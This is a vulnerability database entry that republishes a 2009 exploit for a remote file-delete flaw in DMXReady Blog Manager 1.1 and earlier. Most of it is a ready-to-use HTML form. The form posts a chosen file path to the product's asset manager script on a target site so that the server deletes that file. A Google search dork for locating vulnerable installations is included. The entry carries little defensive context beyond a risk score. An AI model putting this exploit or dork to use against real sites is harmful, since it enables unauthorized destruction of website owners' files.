DMXReady Blog Manager <= 1.1 - Remote File Delete Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

DMXReady Blog Manager <= 1.1 - Remote File Delete Vulnerability by "ajann" from Turkey. Delete file via form action in asset manager script


                                                *******************************************************************************
# Title   :  DMXReady Blog Manager &#60;= 1.1 Remote Files Delete Vulnerability
# Author  :  &#34;ajann&#34; from Turkey
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  199.97 $
# Dork    :  inurl:inc_webblogmanager.asp
# DorkEx  :

http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_webblogmanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

&#60;!DOCTYPE html PUBLIC &#34;-//W3C//DTD XHTML 1.0 Transitional//EN&#34; &#34;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&#34;&#62;
&#60;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&#62;
&#60;head&#62;
&#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&#62;
&#60;title&#62;ajann Exp&#60;/title&#62;
&#60;/head&#62;

&#60;body&#62;
&#60;p&#62;Delete File : )&#60;/p&#62;
&#60;p&#62;Form Action: http://target/[path]/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp?ffilter=&#60;/p&#62;
&#60;form id=&#34;form1&#34; name=&#34;form1&#34; method=&#34;post&#34; action=&#34;http://target/[path]/includes/shared_scripts/wysiwyg_editor/assetmanager/assetmanager.asp?ffilter=&#34;&#62;
  &#60;label&#62;
  &#60;input type=&#34;hidden&#34; name=&#34;inpCurrFolder&#34; value=&#34;&#34; /&#62;
  &#60;/label&#62;
  &#60;p&#62;
    &#60;label&#62;
    Delete File Path:
    &#60;input type=&#34;text&#34; name=&#34;inpFileToDelete&#34; value=&#34;/shots/index.asp&#34;&#62;
    &#60;/label&#62; 
    etc..
&#60;/p&#62;
  &#60;p&#62;
    &#60;label&#62;
    &#60;input type=&#34;submit&#34; name=&#34;ff&#34; id=&#34;ff&#34; value=&#34;Submit&#34; /&#62;
    &#60;/label&#62;
  &#60;/p&#62;
&#60;/form&#62;
&#60;p&#62;&#60;br /&#62;
&#60;/p&#62;
&#60;/body&#62;
&#60;/html&#62;

# milw0rm.com [2009-01-14]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1